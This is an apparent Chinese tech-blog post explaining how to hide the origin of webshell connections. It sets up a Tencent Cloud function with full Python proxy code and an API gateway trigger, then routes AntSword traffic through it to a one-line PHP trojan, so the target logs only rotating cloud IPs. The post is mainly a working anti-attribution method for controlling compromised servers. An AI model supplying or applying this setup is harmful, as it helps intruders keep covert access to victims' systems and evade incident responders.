防溯源连接WebShell

前言

原理就是通过腾讯云的云函数将我们的请求进行转发,目标那里获取到的IP即腾讯云的IP,并且有CDN。

实战

首先我们登陆到腾讯云的控制台https://console.cloud.tencent.com/scf。第一次使用云函数的时候可能需要授权。点击新建
在这里插入图片描述
这里直接默认就好,也可以设置一下函数名称和地域。然后点击完成

在这里插入图片描述
然后依次点击函数服务->函数管理->函数代码。将下面的代码粘贴到index.py

# -*- coding: utf8 -*-
import requests
import json


def geturl(urlstr):
    jurlstr = json.dumps(urlstr)
    dict_url = json.loads(jurlstr)
    return dict_url['u']

def main_handler(event, context):
    url = geturl(event['queryString'])
    postdata = event['body']
    headers=event['headers']
    resp=requests.post(url,data=postdata,headers=headers,verify=False)
    response={
        "isBase64Encoded": False,
        "statusCode": 200,
        "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},
        "body": resp.text
    }
    return response

在这里插入图片描述

向下滑动,点击部署。

部署完成后,依次点击函数服务->触发管理->创建触发器

在这里插入图片描述
这里选择API网关触发。第一次的时候可能需要授权。其他默认即可,点击提交

在这里插入图片描述
复制下面的访问路径。

在这里插入图片描述

然后我给我的vps种个马,使用php开启临时服务器。使用腾讯云函数访问自己的马。
图中的9648542.php即是一句话木马
在这里插入图片描述

打开蚁剑,url设置为刚刚复制的访问路径?u=木马路径
我这里是
https://service-h8ew8bu0-1256512262.gz.apigw.tencentcs.com/release/forwarded?u=http://vps/9648542.php

测试连接,连接成功。
在这里插入图片描述
可以看到每次测试连接的时候IP都不一样,也就是腾讯云的CDN。
在这里插入图片描述

1.在函数管理 - 函数配置里面,最好把执行超时时间设置成和蚁剑里面的超时时间一样或者更长。

参考:https://mp.weixin.qq.com/s/nq5b4J0Y9TsiC4wQH-MPTg

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Vicl1fe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值